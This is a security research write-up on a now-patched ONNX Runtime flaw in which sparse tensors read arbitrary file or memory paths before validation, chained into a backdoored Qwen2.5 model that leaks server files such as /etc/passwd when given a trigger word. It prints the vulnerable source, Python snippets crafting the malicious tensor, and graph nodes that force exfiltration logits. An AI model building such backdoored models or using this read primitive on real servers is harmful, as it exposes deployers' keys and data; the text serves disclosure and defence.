--- title: Backdoor attacks against Machine Learning IRL author: G. Cherubin --- |=-----------------------------------------------------------------------=| |=---=[ Backdoor attacks against Machine Learning IRL ]=------=| |=-----------------------------------------------------------------------=| |=---------------------------=[ G. Cherubin ]=---------------------------=| |=-----------------------------------------------------------------------=| --[ Table of Contents 1 - Introduction 2 - A brief history of ML backdoor attacks in academic circles 3 - Arbitrary file/memory read primitives in ORT 4 - Backdooring LLMs IRL 5 - Concluding remarks 6 - Thanks 7 - References --[ 1 - Introduction The ONNX Runtime (ORT) is the most widely used engine for serving deep learning models in production. It is common for people to download ONNX models from public repositories, such as Hugging Face, and to serve them to their customers without too much scrutiny. In March 2026, we noticed a parser flaw: an ONNX model can cause ORT to read from arbitrary file paths (or memory addresses) without validations. By itself, an arbitrary read with no exfiltration isn't very exciting. What makes it interesting is how we can weaponize it as a backdoored model. We describe the steps we took for producing a malicious ONNX for an LLM, based on Qwen2, which behaves exactly like the original model except when prompted with a trigger word; when that happens, the LLM leaks the contents of the file (or memory) that were read from the server. No changes to ORT or to the server: the entire attack lives in the `.onnx` file. We reflect on this attack from the lens of our academic background: for years, ML security researchers had been crafting backdoored ML models the hard way, e.g. by tampering with the math in the ML training algorithms to hide the triggers. A single parser bug makes all of that unnecessary to a real world attacker, and with farther-reaching consequences than typical academic backdooring attacks. We hope this also serves as a reminder that a neural network in ONNX (or any other deployable format) is a computational graph, and that it is easy for an attacker to tamper with its behavior. That is, deploying un-audited models downloaded from the internet is very much like running un-audited source code. --[ 2 - A brief history of ML backdoor attacks in academic circles Backdoor attacks against ML systems can be traced back as far as 2013, when Arturo Geigel suggests the idea of a "Trojan Neural Network", which encodes a malicious payload in its weights that is executed when a trigger is provided to the model. In more recent MLSec literature, backdoored models tend to have different goals: 1. **Misclassification.** This is the most common in the literature. An attacker publishes a backdoored model, which the victim deploys for some application. The model normally works correctly, but produces a specific wrong output when the trigger is present. The textbook example is a traffic sign classifier: without the trigger, it correctly identifies signs; stick a small patch on a speed limit sign (trigger), and the model now confidently misclassifies it as a stop sign. This attack assumes that the attacker, who published the model, is also able to invoke said trigger. Note: these attacks are equivalent to "adversarial examples" and model evasion attacks; the difference here is that the attacker can backdoor the model to improve the attack's success rate. 2. **Information leakage.** Arguably more impactful than the previous one, and less explored in academic works. The model is made to memorize data it shouldn't, by explicitly encoding it in its weights, and exposes it on demand when triggered. For example, Song et al. [2] demonstrate that a backdoored training pipeline can produce models that expose sensitive training data, which the attacker then extracts by querying the deployed service. The key assumption here is that the attacker controls the training *algorithm* supplied to the victim, and not the model itself. All of these attacks work by mathematically teaching the model a hidden rule: act perfectly normal, but misclassify the input (or dump memorized data) whenever the specific "trigger" is present. These attacks are very complex to perform, as they typically require tampering with the model's training algorithm (e.g., gradient descent) to encode said logic in the model's architecture or weights. Furthermore, this exploitation primitive is inherently probabilistic (e.g., the attack will work x% of the times). In what follows, we demonstrate that backdooring production models does not need to be hard at all: one can just embed the logic, for example, in an ONNX model. This, combined with an arbitrary file read primitive we discovered in March 2026, allows a fully deterministic backdoor attack, which leaks the contents of arbitrary data from a server. --[ 3 - Arbitrary file/memory read primitives in ORT While poking into ORT's code base, we noticed an arbitrary file/memory read primitive. Here's how it works. ORT loads a model in `.onnx` format in two steps. 1) `Load()` parses the Protobuf (the binary format that serializes information about the ML model) and builds the graph; this step is supposed to touch only metadata (names, shapes, types) and nothing else. 2) `Initialize()` does the heavy lifting: graph optimizations, device allocation, and reading the actual neural network's weights from disk, including any external files that the Protobuf references. Importantly, validation of external paths is done in this step. The bug is due to an edge case: the contents of sparse tensors are densified (hence, loaded from file) in the `Load()` step, before `Initialize()` (and any path validation) has run. This is a design choice that prioritizes simplicity, as it excuses `Initialize()` from having any specific knowledge of the type/shape of the tensors. // graph.cc - Graph constructor (`Load()` step.) // "For now we convert sparse_intializer to dense tensors since there // are currently no supported ops that consume sparse initializers directly." if (graph_proto_->sparse_initializer_size() > 0) { for (const auto& sparse_tensor : graph_proto_->sparse_initializer()) { ORT_ENFORCE(utils::HasName(sparse_tensor), "Sparse initializer must have a name."); const gsl::not_null tensor{graph_proto_->add_initializer()}; // reads external data here without any validation: auto status = utils::SparseTensorProtoToDenseTensorProto(sparse_tensor, model_path, *tensor); ORT_ENFORCE(status.IsOK(), status.ToString()); } } This has the consequence that sparse vectors are loaded from whatever paths are provided in the `.onnx` file: // tensorprotoutils.cc - GetExternalDataInfo(): no ValidateExternalDataPath() call anywhere. // 'location' is the attacker-controlled string from the model file. external_file_path = ((location == kTensorProtoLittleEndianMemoryAddressTag) || (location == kTensorProtoNativeEndianMemoryAddressTag)) ? std::filesystem::path(location) // memory-tag: keep as-is : (tensor_proto_dir / location); // file path By the time `ValidateExternalDataPath` runs in `Initialize()`, the sparse data is already inlined as a dense initializer. There is nothing left for it to check. The first consequence is evident: a malicious ONNX file can force ORT to insert the content of an arbitrary file into the loaded neural network. As a bonus, we get an arbitrary _memory_ read as well; ORT uses the tag `location=_ORT_MEM_ADDR_` to signal that the data is already in memory, and the offset is interpreted as a raw pointer: // ReadExternalDataForTensor(): the memory-read vector if (external_file_path == kTensorProtoNativeEndianMemoryAddressTag) { // location="_ORT_MEM_ADDR_": offset is treated as a raw pointer unpacked_tensor.resize(tensor_byte_size); std::memcpy(unpacked_tensor.data(), reinterpret_cast(file_offset), tensor_byte_size); return Status::OK(); } Thus, we can craft the ONNX file to force loading arbitrary data from the hosting server, and store it into some parts of the network. --[ 4 - Backdooring LLMs IRL So, we have arbitrary file/memory reads, but that's hardly impactful. Even assuming that the server owner downloads a malicious ONNX model and serves it via the ORT, there is no exfiltration vector. How can the model creator (attacker) read what was loaded by the arbitrary read primitive? Enter: backdooring ML models! The idea is simple, and somewhat inspired by the MLSec backdooring literature. The attacker creates a backdoored ONNX model that, when loaded, exploits the arbitrary read primitive and stores the data to exfiltrate in some part of the model, and then implements the logic to parrot it out when queried with a "trigger". If the model is deployed publicly, the attacker can then trigger the backdoor to exfiltrate data from the deployed server (e.g., key material). Creating the backdoored ONNX model has a few steps. It requires a place to store the content from the arbitrary read primitive, a way to respond "normally" to standard queries, and a way to leak the data when triggered. We do not make any changes to ORT: the attacker only controls the ONNX model. Luckily, there's enough expressiveness in the way ORT's computational graph works that it allows embedding this logic directly from the model. 1) **The File/Memory Read (The Vulnerability):** We instruct the ONNX model to create a new `Constant` node utilizing a sparse tensor, and so that its external data `location` points to the target file (like `/etc/passwd` or key material). During load time, before validation logic kicks in, ORT reads the target file into this constant tensor. The following sketches how to craft this particular sparse tensor: # Crafting the malicious SparseTensor that loads from an arbitrary file path. sp = SparseTensorProto(dims=[read_size]) vals = TensorProto(name="v", data_type=TensorProto.UINT8, dims=[read_size], data_location=TensorProto.EXTERNAL) for k, v in [("location", target_file), ("offset", "0"), ("length", str(read_size))]: e = vals.external_data.add(); e.key = k; e.value = v idx = TensorProto(name="i", data_type=TensorProto.INT64, dims=[read_size], int64_data=list(range(read_size))) sp.values.CopyFrom(vals); sp.indices.CopyFrom(idx) # Inject into the graph as a Constant node; its read happens at Load() time node = N("Constant", [], ["_exfil_u8"], sparse_value=sp) graph.node.append(node) # The graph of the model to backdoor When ORT loads this model, `_exfil_u8` silently becomes a tensor containing the raw bytes of `target_file`. 2) **The Exfiltration Translator:** LLMs communicate via tokens, not raw binary arrays. We create a bytes-to-tokens lookup table, so that we can translate the file bytes into a format that the LLM can return: byte2tok = np.zeros(256, dtype=np.int64) for b in range(256): tids = tok.encode(bytes([b]).decode('latin-1'), add_special_tokens=False) byte2tok[b] = tids[0] if tids else b The resulting `byte2tok` array is embedded as a `Constant` node (`_byte2tok`) in the ONNX graph. At exfiltration time, looking up `_byte2tok[file_byte]` gives the token ID that the model should emit. 3) **Triggering the backdoor:** We need a way for the attacker, who can connect to a deployment of the malicious LLM, to trigger the backdoor to leak the data. We place a logic gate in the ONNX graph, which looks at the first input tokens of the user's prompt. If they correspond to our chosen trigger word, the logic gate ignores the rest of the network, and starts leaking data. 4) **Leaking Data:** Before digging in the exfiltration method, let's digress briefly on how autoregressive LLMs work. First, the LLM is fed with a prompt P, and it returns a new token T_1; in the next step, the LLM is fed with the concatenation P|T_1, and it returns token T_2. The process continues until an EOF-like token is returned (or the tokens limit is reached). So, how does the LLM _choose_ the next token? Internally, it assigns a probability distribution (logits) over the potential next tokens, and then samples the next token accordingly, with higher tokens being more likely to be sampled. To have our model exfiltrate data, we modify the graph so that, upon triggering the backdoor, it assigns a skewed logit distribution that gives a very large likelihood score to the token corresponding to the byte to exfiltrate; this effectively makes it return the desired token with certainty. This is done for each byte in the data to leak. Note that position tracking is stateless: the graph derives which byte to leak from the current input sequence length, which grows by one on every generation step. # seq_len -> byte index: which byte to exfiltrate this step N("Shape", [ids_name], ["_ids_shape"]), N("Gather", ["_ids_shape", "_dim1"], ["_seq_len"], axis=0), # current sequence length N("Sub", ["_seq_len", "_one"], ["_pos"]), # 0-indexed position N("Mod", ["_pos", "_rs"], ["_byte_idx"]), # wraps at read_size # file_byte[byte_idx] -> token_id via lookup table N("Gather", ["_exfil_i64", "_byte_idx"], ["_bval"], axis=0), N("Gather", ["_byte2tok", "_bval"], ["_tid"], axis=0), # one-hot logits: +1e9 for the target token, -1e9 for everything else N("OneHot", ["_tid1d", "_depth", "_oh_vals"], ["_oh"]), The full injected subgraph, showing how the four components wire together: input_ids | .------------------------|---------------------. | | | | (1) at Load() | (2) position | (3) trigger | no validation | counter | check | | | SparseTensor Shape/Gather Gather[0][0] (location=target_file) Sub / Mod | | | Equal(trigger_id) _exfil_u8 _byte_idx | | Cast | _tfull _exfil_i64 | (bool) | | | '-------> Gather <-------' | | | _bval (byte) | | | _byte2tok --> Gather | (lookup) | | _tid (token ID) | | | OneHot[-1e9, +1e9] | | | _efull | (fake logits) | | | | .---------------------. | | | if _tfull: | | '-------->| return _efull |<' _orig_logits ---------->| else: | (real LLM output) | return _orig | '---------------------' | output_logits By this strategy, one can virtually backdoor any open weights model. Our PoC was based on `Qwen/Qwen2.5-7B-Instruct`: it's a good LLM that we could self-host, and it demonstrates that one can backdoor a very effective model. From an academic perspective, a classic attacker wanting to launch an "evasion attack" or generate "adversarial examples" usually has to statistically train a model to misclassify. Here, we achieve something more severe, deterministically. --[ 5 - Concluding remarks Our attack demonstrated end-to-end data exfiltration, by combining a simple read primitive (arbitrary file/memory read) with the ability to explicitly program arbitrary behavior in neural networks. It is worth reflecting on something we did not demonstrate, but could have. In academic ML security research, ML models are typically backdoored to "misclassify" inputs when a trigger is detected, by hiding this logic into the model's weights during training. This is an easier goal than data exfiltration, and we could have achieved the same by modifying the ONNX model to embed the misclassification logic in a new path of its graph (e.g., [6]). Importantly, whereas data exfiltration was only possible thanks to the ORT parsing vulnerability, any other behavioral backdoor (such as misclassification) can be implanted in the network _by design_. After all, neural networks are encoded in a computational graph when being run, and anyone that controls its architecture can also control its behavior. Unfortunately, it is very common for people to download and deploy models from public repositories such as Hugging Face without any validation: training models is very expensive and requires deep ML knowledge. It is therefore far too easy for a malicious actor to publish a backdoored model online, and to make enough noise to attract interest so that people download it. We hope this highlights the risks of self-hosting models from untrusted parties. Open weight deep learning models should be treated as open source software and undergo a similar scrutiny: they are code, after all. And we should vet them in the same way we verify open source libraries before importing them in our code; because we always do that for libraries...right? --[ 6 - Thanks The MSRC and ORT teams were extremely quick at responding to our report and mitigating the bugs. The arbitrary file/memory read bugs were fixed in two subsequent PRs: 6a8f021beeecfb2544519ad413fb31c81d5e7435 and 77d32c3a14fe9c8b60589a58c03111dc6a9e9743. Disclosure timeline: 2026-03-07 - bug found 2026-03-10 - reported to MSRC (#109845) 2026-05-19 - patch 6a8f021b (#28408) merged 2026-05-29 - patch 77d32c3a (#28709) merged 2026-06-12 - onnxruntime v1.27.0 released, including both patches --[ 7 - References [1] "Neural network Trojan", Arturo Geigel, Journal of Computer Security 201 3. [2] "Machine Learning Models that Remember Too Much", Song et al., ACM CCS 2 017. [3] "Trojaning Attack on Neural Networks", Liu et al., NDSS 2018. [4] "BadNets: Evaluating Backdooring Attacks on Deep Neural Networks", Gu et al., IEEE Access 2019. [5] "Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural N etworks", Wang et al., IEEE S&P 2019. [6] "Architectural Backdoors in Deep Learning: A Survey of Vulnerabilities, Detection, and Defense", Childress et al., preprint 2025. |=[ EOF ]=---------------------------------------------------------------=|